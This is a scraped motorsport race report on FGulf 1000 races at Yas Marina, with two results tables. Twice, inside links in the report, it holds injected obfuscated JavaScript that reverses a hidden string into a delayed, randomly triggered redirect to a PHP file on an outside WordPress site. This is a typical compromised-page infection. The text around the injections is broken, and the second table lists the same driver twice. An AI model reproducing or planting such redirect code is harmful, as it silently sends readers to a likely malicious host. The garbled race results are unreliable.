In his element after a bold overtake in the latter stages of race two, Mayer went one better than race one by landing the second step of the podium. A solid day’s work for the young Malaysian.
Bintouq meanwhile was busy showing the benefits of hard work. Small steps from A-B had been his rationale coming into his debut season, and despite being nearly 4s off the pace$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/formula-gulf-1000-round-1-in-the-hot-seatter/” target=”_blank”> last time out at the Autodrome, in qualifying at Yas Marina he was less than a second and a half behind the polesitter.
A consistent race against Indian Harsh Rajpal in the opening gambit clearly lit a fire in Bintouq ahead of the second rolling start. All eyes may well have been on Seatter (who only just kept Canal at bay into turn one) at the drop of the green flag, but it was the jet-propelled start from the local boy that raised the eyebrows in the grandstands. From fifth, Bintouq was threatening to steal third into turn one, but had to give best to avoid t-boning the leaders.
Anybody who thought the Emirati driver was done thought wrong. As the cars came round to complete lap one, Bintouq was all over the back of Sultan Al Ali’s #4 entry, the two oh-so-nearly collecting each other on the rundown to the first corner.
Barely inches from the wall, the pair gave each other just enough room to fight another day, and saved the FGulf 1000 mechanics a few late night shifts ahead of next week’s race at the Dubai Autodrome.
Bintouq’s time would come though just a few laps later. Diving out of Al Ali’s slipstream on the main straight, the #12 car committed to the outside line into turn one, both drivers side-by-side and achingly close to pitching each other into the barriers.
Left just enough room and utilising every bit of circuit knowledge he had, Bintouq made the move stick, and thereafter waltzed home for fourth and his best result to date in FGulf 1000. Smiling afterwards, the Emirati is keen to go one place higher next time out.
If you were to ask Nicholas Canal and Rahul Mayer, they would probably tell you the same thing.
| Position | Car # | Driver | Car | Laps | Diff | Gap | |
|---|---|---|---|---|---|---|---|
| 1 | #3 | Natasha Seatter | FG1000 | 22 Laps | |||
| 2 | #5 | Nick Canal | FG1000 | 22 Laps | +2.244 | +2.244 | |
| 3 | #72 | Rahul Mayer | FG1000 | 22 Laps | +9.752 | +7.508 | |
| 4 | #4 | Haytham Sultan Al Ali | FG1000 | 22 Laps | +10.781 | +1.029 | |
| 5 | #12 | Saeed Bintouq | FG1000 | 22 Laps | +31.071 | +20.290 | |
| 6 | #6 | Harsh Rajpal | FG1000 | 22 Laps | +38.974 | +7.903 |
| Position | Car # | Driver | Car | Laps | Diff | Gap | |
|---|---|---|---|---|---|---|---|
| 1 | #3 | Natasha Seatter | FG1000 | 22 Laps | |||
| 2 | #72 | Rahul Mayer | FG1000 | 22 Laps | +4.659 | +4.659 | |
| 3 | #72 | Rahul Mayer | FG1000 | 22 Laps | +18.468 | +13.809 | |
| 4 | #4 | Haytham Sultan Al Ali | FG1000 | 22 Laps | +24.581 | +6.113 | |
| 5 | #12 | Saeed Bintouq | FG1000 | 22 Laps | +25.025 | +0.444 | |
| 6 | #6 | Harsh Rajpal | FG1000 | 22 Laps | +1 LAP | 48.828 |
– Shots courtesy of David Benson. Be sure to check out $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/20122013-porsche-gt3-fgulf-1000-round-2/” target=”_blank”>the full gallery HERE.
